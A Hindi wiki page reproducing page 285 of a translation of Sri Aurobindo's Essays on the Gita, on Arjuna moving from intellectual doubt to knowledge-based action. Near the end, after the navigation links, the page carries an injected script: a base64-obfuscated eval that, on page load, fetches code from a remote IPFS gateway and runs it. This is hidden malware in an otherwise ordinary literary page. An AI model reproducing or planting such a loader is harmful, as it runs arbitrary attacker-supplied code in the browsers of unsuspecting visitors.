गीता प्रबंध -अरविन्द पृ. 285

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गीता-प्रबंध: भाग-2 खंड-1: कर्म, भक्ति और ज्ञान का समन्वयव
4.राजगुह्य

जैसे - जैसे आत्मज्ञान तथा ईश्वर और प्रकृति के ज्ञान का प्रकाश उसके सामने लाया जा रहा है वैसे - वैसे उसकी बौद्धिक शंकाएं दूर होती जा रही हैं। पर बौद्धिक समाध नही पर्याप्त नहीं है ; उसे अंतर्दृष्टि से देखना होगा और अपनी बाह्म अंध मानव - दृष्टि को प्रकाशित करना होगा , ताकि अपने संपूर्ण आधर की अनुकूलता के साथ , अपने सर्वांग की पूर्ण श्रद्धा के साथ , तथा अपनी आत्मा की आत्मा , और सारी सत्ता के स्वामी , जो जगत के आत्मा और जगत् के सब भूतों के स्वामी हैं उनकी पूर्ण भक्ति के साथ वह कर्म कर सके।अबतक जो कुछ कहा गया उससे ज्ञान की नींव डाली यगी या यूं कहें कि उसकी प्रथमावश्यक सामग्री या पाड़ उपस्थित की गयी , पर अब इमारत का पूरा ढ़ाचा , नक्शा उसकी खुली हुई दृष्टि के सामने रखा जानेवाला है। इसके आगे जो विवरण आयेगा उसका अपना बड़ा महत्व होगा , क्योंकि इससे ढांचे के सब हिस्से अलग - अलग दिखाये जायेंगे और यह बतलाया जायेगा कि कौन - सी चीज क्या है ; पर सारतः जो भगवान् उससे बात कर रहे हैं उन्हींका समग्र ज्ञान उसके नेत्रों के सामने खोल दिया जायेगा , ताकि उसके लिये साक्षात्कार करने के सिवा और कोई चारा ही न रहे।
अब तक जो प्रतिपादन हुआ उससे उसे यह पता चला कि वह अपने उस अज्ञान और अहंभवप्रयुक्त कर्म के द्वारा अनिवार्य रूप से बंधा नहीं है , जिससे वह तबतक संतुष्ट था जबतक उससे प्राप्त होने वाला आंशिक समाधान उसकी उस बुद्धि को संतुष्ट करने में अपर्याप्त न सिद्ध हुआ जो जगत्कर्म के अंग - स्वरूप परस्पर - विरोधी दृश्यों के संघर्ष से घबरायी हुई थी , तथा उस हृदय को जो कर्मो की जटिलता से परेशान होकर यह अनुभव कर रहा था कि इसे बचने का उपाय तो केवल जीवन और कर्म का संन्यास ही है। उसे यह समझा दिया गया है कि कर्म और जीवनपद्धति के दो परस्परविरोधी मार्ग हैं , एक अहंभावयुकत अज्ञान - दशा का और दूसरा दिव्य पुरूष के निर्मल आत्मज्ञान का। वह चाहै तो वासना - कामना , काम - क्रोध के वश में होकर निम्न प्रकृति के गुणों के द्वारा चालित ‘ अहं ’ रूप से , पाप - पुण्य और सुख - दुःखादि द्वन्द्वों के अधीन होकर , हार - जीत और सुफल - कुफल रूपकर्मफलों का ही चिंतन करते हुए , संसार - चक्र में बंधे रहकर , मनुष्य के मन , चित्त , अहंकार और बुद्धि को अपने सतत परिवर्तनशील और परस्परविरोधी रूपों और दृश्यों से चकरानेवाले कर्माकर्म और विकर्म के बड़े भारी जंजाल में पड़कर अपने कर्म कर सकता है। परंतु अज्ञान के इन कर्मो से वह सर्वथा बंधा नहीं है ; वह चाहै तो ज्ञानयुक्त कर्म कर सकता है। चाहते तो मनीषी , ज्ञानी और योगी होकर तथा पहले मोक्ष का साधक बनकर और पीछे मुक्त होकर कर्म कर सकता है। इस महती संभावना को समझ लेना और अपनी मन - बुद्धि को ज्ञान और आत्म - दर्शन में स्थित करना ही - जिससे कि वह संभवना कार्यतः सिद्ध हो - दुःख और घबराहट से तथा मानव - जीवन के गोरखधंधे से निकलने का रास्ता है।


« पीछे आगे »

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

संबंधित लेख

साँचा:गीता प्रबंध